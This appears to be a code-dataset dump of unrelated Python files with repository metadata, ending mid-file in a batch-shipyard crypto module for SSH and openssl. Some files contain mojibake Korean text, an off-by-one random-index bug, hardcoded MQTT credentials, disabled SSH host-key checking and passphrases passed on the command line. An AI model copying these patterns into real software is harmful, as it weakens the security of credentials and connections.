] | 12 | 2021-06-26T22:38:45.000Z | 2021-07-07T15:49:43.000Z | elliesite/context_processors.py | davidkartuzinski/ellieplatformsite | 63a41cb2a15ae81a7cd3cdf68d783398b3205ce2 | [
"MIT"
] | 1 | 2021-07-07T15:33:43.000Z | 2021-07-07T15:33:43.000Z | import sys
from django.urls import resolve
def global_vars(request):
return {
'GLOBAL_TWITTER_ACCOUNT': '@open_apprentice',
'ORGANIZATION_NAME': 'Open Apprentice Foundation',
'ORGANIZATION_WEBSITE': 'https://openapprentice.org',
'ORGANIZATION_LOGO': '/static/img/ellie/open-apprentice-logo-full.png', # relative URL with pre /,
'SITE_LOGO_URL': '/static/img/ellie/ellie-platform-logo.png', # relative URL with pre /
'APPNAME': sys.modules[resolve(request.path_info).func.__module__].__package__,
}
| 39.857143 | 107 | 0.693548 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 325 | 0.582437 |
0a98cfd9f20dfc0c1b38e64c743a29230c7a8c4f | 195 | py | Python | whoPay.py | susurigirl/susuri | cec96cc9abd5a25762e15db27c17e70a95ae874c | [
"MIT"
] | null | null | null | whoPay.py | susurigirl/susuri | cec96cc9abd5a25762e15db27c17e70a95ae874c | [
"MIT"
] | null | null | null | whoPay.py | susurigirl/susuri | cec96cc9abd5a25762e15db27c17e70a95ae874c | [
"MIT"
] | null | null | null | import random
names_string = input("๋ด๊ธฐ๋ฅผ ํ ์น๊ตฌ๋ค์ ์ด๋ฆ์ ์ ์ต๋๋ค. ์ฝค๋ง(,)๋ก ๋ถ๋ฆฌํด์ ์ ์ต๋๋ค.\n")
names = names_string.split(",")
print(names)
n = random.randint(0, len(names))
print(f"์ค๋ ์ปคํผ๋ {names[n]}๊ฐ ์ฉ๋๋ค!")
| 19.5 | 64 | 0.676923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 141 | 0.532075 |
0a99a93e656914b21bfd27861c1447d786a91bee | 2,929 | py | Python | MicroPython_BUILD/components/micropython/esp32/modules_examples/mqtt_example.py | FlorianPoot/MicroPython_ESP32_psRAM_LoBo | fff2e193d064effe36a7d456050faa78fe6280a8 | [
"Apache-2.0"
] | 838 | 2017-07-14T10:08:13.000Z | 2022-03-22T22:09:14.000Z | MicroPython_BUILD/components/micropython/esp32/modules_examples/mqtt_example.py | FlorianPoot/MicroPython_ESP32_psRAM_LoBo | fff2e193d064effe36a7d456050faa78fe6280a8 | [
"Apache-2.0"
] | 395 | 2017-08-18T15:56:17.000Z | 2022-03-20T11:28:23.000Z | MicroPython_BUILD/components/micropython/esp32/modules_examples/mqtt_example.py | FlorianPoot/MicroPython_ESP32_psRAM_LoBo | fff2e193d064effe36a7d456050faa78fe6280a8 | [
"Apache-2.0"
] | 349 | 2017-09-02T18:00:23.000Z | 2022-03-31T23:26:22.000Z | import network
def conncb(task):
print("[{}] Connected".format(task))
def disconncb(task):
print("[{}] Disconnected".format(task))
def subscb(task):
print("[{}] Subscribed".format(task))
def pubcb(pub):
print("[{}] Published: {}".format(pub[0], pub[1]))
def datacb(msg):
print("[{}] Data arrived from topic: {}, Message:\n".format(msg[0], msg[1]), msg[2])
mqtt = network.mqtt("loboris", "mqtt://loboris.eu", user="wifimcu", password="wifimculobo", cleansession=True, connected_cb=conncb, disconnected_cb=disconncb, subscribed_cb=subscb, published_cb=pubcb, data_cb=datacb)
# secure connection requires more memory and may not work
# mqtts = network.mqtt("eclipse", "mqtts//iot.eclipse.org", cleansession=True, connected_cb=conncb, disconnected_cb=disconncb, subscribed_cb=subscb, published_cb=pubcb, data_cb=datacb)
# wsmqtt = network.mqtt("eclipse", "ws://iot.eclipse.org:80/ws", cleansession=True, data_cb=datacb)
mqtt.start()
#mqtt.config(lwt_topic='status', lwt_msg='Disconected')
'''
# Wait until status is: (1, 'Connected')
mqtt.subscribe('test')
mqtt.publish('test', 'Hi from Micropython')
mqtt.stop()
'''
# ==================
# ThingSpeak example
# ==================
import network
def datacb(msg):
print("[{}] Data arrived from topic: {}, Message:\n".format(msg[0], msg[1]), msg[2])
thing = network.mqtt("thingspeak", "mqtt://mqtt.thingspeak.com", user="anyName", password="ThingSpeakMQTTid", cleansession=True, data_cb=datacb)
# or secure connection
#thing = network.mqtt("thingspeak", "mqtts://mqtt.thingspeak.com", user="anyName", password="ThingSpeakMQTTid", cleansession=True, data_cb=datacb)
thingspeakChannelId = "123456" # enter Thingspeak Channel ID
thingspeakChannelWriteApiKey = "ThingspeakWriteAPIKey" # EDIT - enter Thingspeak Write API Key
thingspeakFieldNo = 1
thingSpeakChanelFormat = "json"
pubchan = "channels/{:s}/publish/{:s}".format(thingspeakChannelId, thingspeakChannelWriteApiKey)
pubfield = "channels/{:s}/publish/fields/field{}/{:s}".format(thingspeakChannelId, thingspeakFieldNo, thingspeakChannelWriteApiKey)
subchan = "channels/{:s}/subscribe/{:s}/{:s}".format(thingspeakChannelId, thingSpeakChanelFormat, thingspeakChannelWriteApiKey)
subfield = "channels/{:s}/subscribe/fields/field{}/{:s}".format(thingspeakChannelId, thingspeakFieldNo, thingspeakChannelWriteApiKey)
thing.start()
tmo = 0
while thing.status()[0] != 2:
utime.sleep_ms(100)
tmo += 1
if tmo > 80:
print("Not connected")
break
# subscribe to channel
thing.subscribe(subchan)
# subscribe to field
thing.subscribe(subfield)
# publish to channel
# Payload can include any of those fields separated b< ';':
# "field1=value;field2=value;...;field8=value;latitude=value;longitude=value;elevation=value;status=value"
thing.publish(pubchan, "field1=25.2;status=On line")
# Publish to field
thing.publish(pubfield, "24.5")
| 33.284091 | 216 | 0.712188 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,585 | 0.54114 |
0aaa92e8b56443a2b167621484f9881042d7391b | 983 | py | Python | ProgramFlow/functions/banner.py | kumarvgit/python3 | 318c5e7503fafc9c60082fa123e2930bd82a4ec9 | [
"MIT"
] | null | null | null | ProgramFlow/functions/banner.py | kumarvgit/python3 | 318c5e7503fafc9c60082fa123e2930bd82a4ec9 | [
"MIT"
] | null | null | null | ProgramFlow/functions/banner.py | kumarvgit/python3 | 318c5e7503fafc9c60082fa123e2930bd82a4ec9 | [
"MIT"
] | null | null | null | def banner_text(text):
screen_width = 80
if len(text) > screen_width - 4:
print("EEK!!")
print("THE TEXT IS TOO LONG TO FIT IN THE SPECIFIED WIDTH")
if text == "*":
print("*" * screen_width)
else:
centred_text = text.center(screen_width - 4)
output_string = "**{0}**".format(centred_text)
print(output_string)
banner_text("*")
banner_text("Always look on the bright side of life...")
banner_text("If life seems jolly rotten,")
banner_text("There's something you've forgotten!")
banner_text("And that's to laugh and smile and dance and sing,")
banner_text(" ")
banner_text("When you're feeling in the dumps,")
banner_text("Don't be silly chumps,")
banner_text("Just purse your lips and whistle - that's the thing!")
banner_text("And... always look on the bright side of life...")
banner_text("*")
result = banner_text("Nothing is returned")
print(result)
numbers = [4, 2, 7, 5, 8, 3, 9, 6, 1]
print(numbers.sort())
| 30.71875 | 67 | 0.66531 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 427 | 0.434385 |
0abbc3e1d5afde9470d734d62bcb0511ac93cadd | 5,390 | py | Python | samples/samplenetconf/demos/vr_demo3.py | gaberger/pysdn | 67442e1c259d8ca8620ada95b95977e3852463c5 | [
"BSD-3-Clause"
] | 1 | 2017-08-22T14:17:10.000Z | 2017-08-22T14:17:10.000Z | samples/samplenetconf/demos/vr_demo3.py | gaberger/pysdn | 67442e1c259d8ca8620ada95b95977e3852463c5 | [
"BSD-3-Clause"
] | 1 | 2021-03-26T00:47:22.000Z | 2021-03-26T00:47:22.000Z | samples/samplenetconf/demos/vr_demo3.py | gaberger/pysdn | 67442e1c259d8ca8620ada95b95977e3852463c5 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/python
# Copyright (c) 2015, BROCADE COMMUNICATIONS SYSTEMS, INC
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# 3. Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived from this
# software without specific prior written permission.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
# THE POSSIBILITY OF SUCH DAMAGE.
"""
@authors: Sergei Garbuzov
@status: Development
@version: 1.1.0
"""
import time
import json
from pysdn.controller.controller import Controller
from pysdn.netconfdev.vrouter.vrouter5600 import VRouter5600
from pysdn.common.status import STATUS
from pysdn.common.utils import load_dict_from_file
def vr_demo_3():
f = "cfg4.yml"
d = {}
if(load_dict_from_file(f, d) is False):
print("Config file '%s' read error: " % f)
exit()
try:
ctrlIpAddr = d['ctrlIpAddr']
ctrlPortNum = d['ctrlPortNum']
ctrlUname = d['ctrlUname']
ctrlPswd = d['ctrlPswd']
nodeName = d['nodeName']
nodeIpAddr = d['nodeIpAddr']
nodePortNum = d['nodePortNum']
nodeUname = d['nodeUname']
nodePswd = d['nodePswd']
rundelay = d['rundelay']
except:
print ("Failed to get Controller device attributes")
exit(0)
print ("<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<")
print ("<<< Demo Start")
print ("<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<")
print ("\n")
ctrl = Controller(ctrlIpAddr, ctrlPortNum, ctrlUname, ctrlPswd)
vrouter = VRouter5600(ctrl, nodeName, nodeIpAddr, nodePortNum,
nodeUname, nodePswd)
print ("<<< 'Controller': %s, '%s': %s"
% (ctrlIpAddr, nodeName, nodeIpAddr))
print ("\n")
time.sleep(rundelay)
node_configured = False
result = ctrl.check_node_config_status(nodeName)
status = result.get_status()
if(status.eq(STATUS.NODE_CONFIGURED)):
node_configured = True
print ("<<< '%s' is configured on the Controller" % nodeName)
elif(status.eq(STATUS.DATA_NOT_FOUND)):
node_configured = False
else:
print ("\n")
print "Failed to get configuration status for the '%s'" % nodeName
print ("!!!Demo terminated, reason: %s" % status.detailed())
exit(0)
if node_configured is False:
result = ctrl.add_netconf_node(vrouter)
status = result.get_status()
if(status.eq(STATUS.OK)):
print ("<<< '%s' added to the Controller" % nodeName)
else:
print ("\n")
print ("!!!Demo terminated, reason: %s" % status.detailed())
exit(0)
print ("\n")
time.sleep(rundelay)
result = ctrl.check_node_conn_status(nodeName)
status = result.get_status()
if(status.eq(STATUS.NODE_CONNECTED)):
print ("<<< '%s' is connected to the Controller" % nodeName)
else:
print ("\n")
print ("!!!Demo terminated, reason: %s" % status.brief().lower())
exit(0)
print("\n")
print ("<<< Show configuration of the '%s'" % nodeName)
time.sleep(rundelay)
result = vrouter.get_cfg()
status = result.get_status()
if(status.eq(STATUS.OK)):
print ("'%s' configuration:" % nodeName)
cfg = result.get_data()
data = json.loads(cfg)
print json.dumps(data, indent=4)
else:
print ("\n")
print ("!!!Demo terminated, reason: %s" % status.brief().lower())
exit(0)
print "\n"
print (">>> Remove '%s' NETCONF node from the Controller" % nodeName)
time.sleep(rundelay)
result = ctrl.delete_netconf_node(vrouter)
status = result.get_status()
if(status.eq(STATUS.OK)):
print ("'%s' NETCONF node was successfully removed "
"from the Controller" % nodeName)
else:
print ("\n")
print ("!!!Demo terminated, reason: %s" % status.brief())
exit(0)
print ("\n")
print (">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>")
print (">>> Demo End")
print (">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>")
if __name__ == "__main__":
vr_demo_3()
| 34.113924 | 78 | 0.62115 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,667 | 0.494805 |
0ac3dcb6f4a277998e57f0001095aaf45bef6fae | 2,256 | py | Python | app/main.py | MichaelLeeman/Job_Web_Scraper | 29205d84f1190830a77174ce8272f4f79bb3468b | [
"MIT"
] | null | null | null | app/main.py | MichaelLeeman/Job_Web_Scraper | 29205d84f1190830a77174ce8272f4f79bb3468b | [
"MIT"
] | 4 | 2020-05-25T19:54:58.000Z | 2020-05-25T19:55:03.000Z | app/main.py | MichaelLeeman/Job_Web_Scraper | 29205d84f1190830a77174ce8272f4f79bb3468b | [
"MIT"
] | 1 | 2020-07-02T13:06:52.000Z | 2020-07-02T13:06:52.000Z | # This program scraps data from job postings on the website workinstartups.com and appends it to an excel worksheet.
import os
from datetime import datetime, timedelta
from selenium import webdriver
from app import web_scraper
from app import excel
job_list, last_date = [], None
file_path = os.path.abspath("main.py").rstrip('/app/main.py') + '//Workbooks' + "//Job_Openings.xlsx"
print("-" * 75, "-" * 75, "\n\t\t\t\t\t\t\t JOB WEB SCRAPER", "-" * 75, "-" * 75, sep="\n")
print("\n")
# If the Job_Openings workbook already exists then append the jobs not already in the worksheet
# by checking the date of the first job in excel, since the last time the site was scraped.
if os.path.isfile(file_path):
print("Job_Opening excel file already exists. Loading workbook.", "-" * 75, sep="\n")
workbook, worksheet = excel.load_xlsx(file_path)
last_scrape_date = excel.get_first_job_date(worksheet)
last_scrape_date = datetime.strptime(last_scrape_date, "%d-%b-%Y")
# If not, create a new workbook and append all of the jobs posted within the month
else:
print("Creating new Excel workbook.", "-" * 75, sep="\n")
current_date = datetime.today()
date_month_ago = current_date - timedelta(weeks=4.348) # Average amount of weeks in a month
last_scrape_date = date_month_ago.replace(hour=0, minute=0, second=0, microsecond=0) # default to midnight
workbook, worksheet = excel.init_xlsx(worksheet_title="Job Openings")
# Open webdriver to workinstartups.com and create soup
print("Creating soup and opening Chrome webdriver", "-"*75, sep="\n")
URL = "https://workinstartups.com/job-board/jobs-in/london"
soup = web_scraper.soup_creator(URL, max_retry=1, sleep_time=0)
driver = webdriver.Chrome('./chromedriver')
driver.get(URL)
driver.find_element_by_link_text('Close').click()
# Scrap the jobs from workinstartups.com and update the worksheet with the found jobs
print("Scraping jobs from workinstartups.com. Please wait.", "-" * 75, sep="\n")
job_list = web_scraper.search_for_jobs(soup, last_scrape_date, driver)
print("Scraping finished. Updating and saving Excel workbook.", "-" * 75, sep="\n")
driver.close()
excel.update_xlsx(worksheet, job_list)
excel.save_xlsx(workbook, file_path)
print("Finished!", sep="\n")
| 47 | 116 | 0.735816 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,082 | 0.47961 |
0ac3e100821a287c22e2857e9d532f5d8e059c8b | 2,723 | py | Python | src/trusted/validator_arm/dgen_output.py | kapkic/native_client | 51c8bc8c249d55606232ae011bdfc8b4cab3d794 | [
"BSD-3-Clause"
] | 1 | 2021-12-23T00:36:43.000Z | 2021-12-23T00:36:43.000Z | src/trusted/validator_arm/dgen_output.py | kapkic/native_client | 51c8bc8c249d55606232ae011bdfc8b4cab3d794 | [
"BSD-3-Clause"
] | null | null | null | src/trusted/validator_arm/dgen_output.py | kapkic/native_client | 51c8bc8c249d55606232ae011bdfc8b4cab3d794 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/python2
#
# Copyright (c) 2012 The Native Client Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
#
"""
Some common boilerplates and helper functions for source code generation
in files dgen_test_output.py and dgen_decode_output.py.
"""
HEADER_BOILERPLATE ="""/*
* Copyright 2013 The Native Client Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can
* be found in the LICENSE file.
*/
// DO NOT EDIT: GENERATED CODE
"""
NOT_TCB_BOILERPLATE="""#ifndef NACL_TRUSTED_BUT_NOT_TCB
#error This file is not meant for use in the TCB
#endif
"""
NEWLINE_STR="""
"""
COMMENTED_NEWLINE_STR="""
//"""
"""Adds comment '// ' string after newlines."""
def commented_string(str, indent=''):
sep = NEWLINE_STR + indent + '//'
str = str.replace(NEWLINE_STR, sep)
# This second line is a hack to fix that sometimes newlines are
# represented as '\n'.
# TODO(karl) Find the cause of this hack, and fix it.
return str.replace('\\n', sep)
def ifdef_name(filename):
""" Generates the ifdef name to use for the given filename"""
return filename.replace("/", "_").replace(".", "_").upper() + "_"
def GetNumberCodeBlocks(separators):
"""Gets the number of code blocks to break classes into."""
num_blocks = len(separators) + 1
assert num_blocks >= 2
return num_blocks
def FindBlockIndex(filename, format, num_blocks):
"""Returns true if the filename matches the format with an
index in the range [1, num_blocks]."""
for block in range(1, num_blocks+1):
suffix = format % block
if filename.endswith(suffix):
return block
raise Exception("Can't find block index: %s" % filename)
def GetDecodersBlock(n, separators, decoders, name_fcn):
"""Returns the (sorted) list of decoders to include
in block n, assuming decoders are split using
the list of separators."""
num_blocks = GetNumberCodeBlocks(separators)
assert n > 0 and n <= num_blocks
return [decoder for decoder in decoders
if ((n == 1
or IsPrefixLeDecoder(separators[n-2], decoder, name_fcn)) and
(n == num_blocks or
not IsPrefixLeDecoder(separators[n-1], decoder, name_fcn)))]
def IsPrefixLeDecoder(prefix, decoder, name_fcn):
"""Returns true if the prefix is less than or equal to the
corresponding prefix length of the decoder name."""
decoder_name = name_fcn(decoder)
prefix_len = len(prefix)
decoder_len = len(decoder_name)
decoder_prefix = (decoder_name[0:prefix_len]
if prefix_len < decoder_len
else decoder_name)
return prefix <= decoder_prefix
| 31.298851 | 76 | 0.693353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,361 | 0.499816 |
0ac3e6f75c6ad2e83d2f026142ba224b4bab8c20 | 2,507 | py | Python | src/data_loader/input_data_loader.py | ChristopherBrix/Debona | f000f3d483b2cc592233d0ba2a1a0327210562c8 | [
"BSD-2-Clause"
] | 2 | 2020-07-26T09:48:22.000Z | 2021-09-30T01:51:13.000Z | src/data_loader/input_data_loader.py | ChristopherBrix/Debona | f000f3d483b2cc592233d0ba2a1a0327210562c8 | [
"BSD-2-Clause"
] | 2 | 2022-01-13T03:56:13.000Z | 2022-03-12T01:03:29.000Z | src/data_loader/input_data_loader.py | ChristopherBrix/Debona | f000f3d483b2cc592233d0ba2a1a0327210562c8 | [
"BSD-2-Clause"
] | null | null | null |
"""
Functions for loading input data.
Author: Patrick Henriksen <patrick@henriksen.as>
"""
import os
import numpy as np
def load_img(path: str, img_nums: list, shape: tuple) -> np.array:
"""
Loads a image in the human-readable format.
Args:
path:
The path to the to the folder with mnist images.
img_nums:
A list with the numbers of the images we want to load.
shape:
The shape of a single image.
Returns:
The images as a MxCx28x28 numpy array.
"""
images = np.zeros((len(img_nums), *shape), dtype=float)
for idx, i in enumerate(img_nums):
file = os.path.join(path, "image" + str(i))
with open(file, "r") as f:
data = [float(pixel) for pixel in f.readlines()[0].split(",")[:-1]]
images[idx, :, :] = np.array(data).reshape(*shape)
return images
def load_mnist_human_readable(path: str, img_nums: list) -> np.array:
"""
Loads a mnist image from the neurify dataset.
Args:
path:
The path to the to the folder with mnist images.
img_nums:
A list with the numbers of the images we want to load.
Returns:
The images as a Mx28x28 numpy array.
"""
return load_img(path, img_nums, (28, 28))
def load_cifar10_human_readable(path: str, img_nums: list) -> np.array:
"""
Loads the Cifar10 images in human readable format.
Args:
path:
The path to the to the folder with mnist images.
img_nums:
A list with the numbers of the images we want to load.
Returns:
The images as a Mx3x32x32 numpy array.
"""
return load_img(path, img_nums, (3, 32, 32))
def load_images_eran(img_csv: str = "../../resources/images/cifar10_test.csv", num_images: int = 100,
image_shape: tuple = (3, 32, 32)) -> tuple:
"""
Loads the images from the eran csv.
Args:
The csv path
Returns:
images, targets
"""
num_images = 100
images_array = np.zeros((num_images, np.prod(image_shape)), dtype=np.float32)
targets_array = np.zeros(num_images, dtype=int)
with open(img_csv, "r") as file:
for j in range(num_images):
line_arr = file.readline().split(",")
targets_array[j] = int(line_arr[0])
images_array[j] = [float(pixel) for pixel in line_arr[1:]]
return images_array.reshape((num_images, *image_shape)), targets_array
| 25.845361 | 101 | 0.603111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,207 | 0.481452 |
0ac98e5cdb6676a542021f48c116aa5fa733e705 | 16,208 | py | Python | convoy/crypto.py | hebinhuang/batch-shipyard | f87d94850380bee273eb51c5c35381952a5722b8 | [
"MIT"
] | null | null | null | convoy/crypto.py | hebinhuang/batch-shipyard | f87d94850380bee273eb51c5c35381952a5722b8 | [
"MIT"
] | null | null | null | convoy/crypto.py | hebinhuang/batch-shipyard | f87d94850380bee273eb51c5c35381952a5722b8 | [
"MIT"
] | null | null | null | # Copyright (c) Microsoft Corporation
#
# All rights reserved.
#
# MIT License
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
# compat imports
from __future__ import (
absolute_import, division, print_function, unicode_literals
)
from builtins import ( # noqa
bytes, dict, int, list, object, range, str, ascii, chr, hex, input,
next, oct, open, pow, round, super, filter, map, zip)
# stdlib imports
import base64
import collections
import getpass
import logging
import os
try:
import pathlib2 as pathlib
except ImportError:
import pathlib
import tempfile
import stat
import subprocess
# local imports
from . import settings
from . import util
# create logger
logger = logging.getLogger(__name__)
util.setup_logger(logger)
# global defines
_SSH_KEY_PREFIX = 'id_rsa_shipyard'
_REMOTEFS_SSH_KEY_PREFIX = '{}_remotefs'.format(_SSH_KEY_PREFIX)
# named tuples
PfxSettings = collections.namedtuple(
'PfxSettings', ['filename', 'passphrase', 'sha1'])
def get_ssh_key_prefix():
# type: (None) -> str
"""Get SSH key prefix
:rtype: str
:return: ssh key prefix
"""
return _SSH_KEY_PREFIX
def get_remotefs_ssh_key_prefix():
# type: (None) -> str
"""Get remote fs SSH key prefix
:rtype: str
:return: ssh key prefix for remote fs
"""
return _REMOTEFS_SSH_KEY_PREFIX
def generate_rdp_password():
# type: (None) -> str
"""Generate an RDP password
:rtype: str
:return: rdp password
"""
return base64.b64encode(os.urandom(8))
def generate_ssh_keypair(export_path, prefix=None):
# type: (str, str) -> tuple
"""Generate an ssh keypair for use with user logins
:param str export_path: keypair export path
:param str prefix: key prefix
:rtype: tuple
:return: (private key filename, public key filename)
"""
if util.is_none_or_empty(prefix):
prefix = _SSH_KEY_PREFIX
privkey = pathlib.Path(export_path, prefix)
pubkey = pathlib.Path(export_path, prefix + '.pub')
if privkey.exists():
old = pathlib.Path(export_path, prefix + '.old')
if old.exists():
old.unlink()
privkey.rename(old)
if pubkey.exists():
old = pathlib.Path(export_path, prefix + '.pub.old')
if old.exists():
old.unlink()
pubkey.rename(old)
logger.info('generating ssh key pair to path: {}'.format(export_path))
subprocess.check_call(
['ssh-keygen', '-f', str(privkey), '-t', 'rsa', '-N', ''''''])
return (privkey, pubkey)
def check_ssh_private_key_filemode(ssh_private_key):
# type: (pathlib.Path) -> bool
"""Check SSH private key filemode
:param pathlib.Path ssh_private_key: SSH private key
:rtype: bool
:return: private key filemode is ok
"""
def _mode_check(fstat, flag):
return bool(fstat & flag)
if util.on_windows():
return True
fstat = ssh_private_key.stat().st_mode
modes = frozenset((stat.S_IRWXG, stat.S_IRWXO))
return not any([_mode_check(fstat, x) for x in modes])
def connect_or_exec_ssh_command(
remote_ip, remote_port, ssh_private_key, username, sync=True,
shell=False, tty=False, ssh_args=None, command=None):
# type: (str, int, pathlib.Path, str, bool, bool, tuple, tuple) -> bool
"""Connect to node via SSH or execute SSH command
:param str remote_ip: remote ip address
:param int remote_port: remote port
:param pathlib.Path ssh_private_key: SSH private key
:param str username: username
:param bool sync: synchronous execution
:param bool shell: execute with shell
:param bool tty: allocate pseudo-tty
:param tuple ssh_args: ssh args
:param tuple command: command
:rtype: int or subprocess.Process
:return: return code or subprocess handle
"""
if not ssh_private_key.exists():
raise RuntimeError('SSH private key file not found at: {}'.format(
ssh_private_key))
# ensure file mode is set properly for the private key
if not check_ssh_private_key_filemode(ssh_private_key):
logger.warning(
'SSH private key filemode is too permissive: {}'.format(
ssh_private_key))
# execute SSH command
ssh_cmd = [
'ssh', '-o', 'StrictHostKeyChecking=no',
'-o', 'UserKnownHostsFile={}'.format(os.devnull),
'-i', str(ssh_private_key), '-p', str(remote_port),
]
if tty:
ssh_cmd.append('-t')
if util.is_not_empty(ssh_args):
ssh_cmd.extend(ssh_args)
ssh_cmd.append('{}@{}'.format(username, remote_ip))
if util.is_not_empty(command):
ssh_cmd.extend(command)
logger.info('{} node {}:{} with key {}'.format(
'connecting to' if util.is_none_or_empty(command)
else 'executing command on', remote_ip, remote_port, ssh_private_key))
if sync:
return util.subprocess_with_output(ssh_cmd, shell=shell)
else:
return util.subprocess_nowait_pipe_stdout(
ssh_cmd, shell=shell, pipe_stderr=True)
def derive_private_key_pem_from_pfx(pfxfile, passphrase=None, pemfile=None):
# type: (str, str, str) -> str
"""Derive a private key pem file from a pfx
:param str pfxfile: pfx file
:param str passphrase: passphrase for pfx
:param str pemfile: path of pem file to write to
:rtype: str
:return: path of pem file
"""
if pfxfile is None:
raise ValueError('pfx file is invalid')
if passphrase is None:
passphrase = getpass.getpass('Enter password for PFX: ')
# convert pfx to pem
if pemfile is None:
f = tempfile.NamedTemporaryFile(mode='wb', delete=False)
f.close()
pemfile = f.name
try:
# create pem from pfx
subprocess.check_call(
['openssl', 'pkcs12', '-nodes', '-in', pfxfile, '-out',
pemfile, '-password', 'pass:' + passphrase]
)
except Exception:
fp = pathlib.Path(pemfile)
if fp.exists():
fp.unlink()
pemfile = None
return pemfile
def derive_public_key_pem_from_pfx(pfxfile, passphrase=None, pemfile=None):
# type: (str, str, str) -> str
"""Derive a public key pem file from a pfx
:param str pfxfile: pfx file
:param str passphrase: passphrase for pfx
:param str pemfile: path of pem file to write to
:rtype: str
:return: path of pem file
"""
if pfxfile is None:
raise ValueError('pfx file is invalid')
if passphrase is None:
passphrase = getpass.getpass('Enter password for PFX: ')
# convert pfx to pem
if pemfile is None:
f = tempfile.NamedTemporaryFile(mode='wb', delete=False)
f.close()
pemfile = f.name
try:
# create pem from pfx
subprocess.check_call(
['openssl', 'pkcs12', '-nodes', '-in', pfxfile, '-out',
pemfile, '-password', 'pass:' + passphrase]
)
# extract public key from private key
subprocess.check_call(
['openssl', 'rsa', '-in', pemfile, '-pubout', '-outform',
'PEM', '-out', pemfile]
)
except Exception:
fp = pathlib.Path(pemfile)
if fp.exists():
fp.unlink()
pemfile = None
return pemfile
def _parse_sha1_thumbprint_openssl(output):
# type: (str) -> str
"""Get SHA1 thumbprint from buffer
:param str buffer: buffer to parse
:rtype: str
:return: sha1 thumbprint of buffer
"""
# return just thumbprint (without colons) from the above openssl command
# in lowercase. Expected openssl output is in the form:
# SHA1 Fingerprint=<thumbprint>
return ''.join(util.decode_string(
output).strip().split('=')[1].split(':')).lower()
def get_sha1_thumbprint_pfx(pfxfile, passphrase):
# type: (str, str) -> str
"""Get SHA1 thumbprint of PFX
:param str pfxfile: name of the pfx file to export
:param str passphrase: passphrase for pfx
:rtype: str
:return: sha1 thumbprint of pfx
"""
if pfxfile is None:
raise ValueError('pfxfile is invalid')
if passphrase is None:
passphrase = getpass.getpass('Enter password for PFX: ')
# compute sha1 thumbprint of pfx
pfxdump = subprocess.check_output(
['openssl', 'pkcs12', '-in', pfxfile, '-nodes', '-passin',
'pass:' + passphrase]
)
proc = subprocess.Popen(
['openssl', 'x509', '-noout', '-fingerprint'], stdin=subprocess.PIPE,
stdout=subprocess.PIPE
)
return _parse_sha1_thumbprint_openssl(proc.communicate(input=pfxdump)[0])
def get_sha1_thumbprint_pem(pemfile):
# type: (str) -> str
"""Get SHA1 thumbprint of PEM
:param str pfxfile: name of the pfx file to export
:rtype: str
:return: sha1 thumbprint of pem
"""
proc = subprocess.Popen(
['openssl', 'x509', '-noout', '-fingerprint', '-in', pemfile],
stdout=subprocess.PIPE
)
return _parse_sha1_thumbprint_openssl(proc.communicate()[0])
def generate_pem_pfx_certificates(config):
# type: (dict) -> str
"""Generate a pem and a derived pfx file
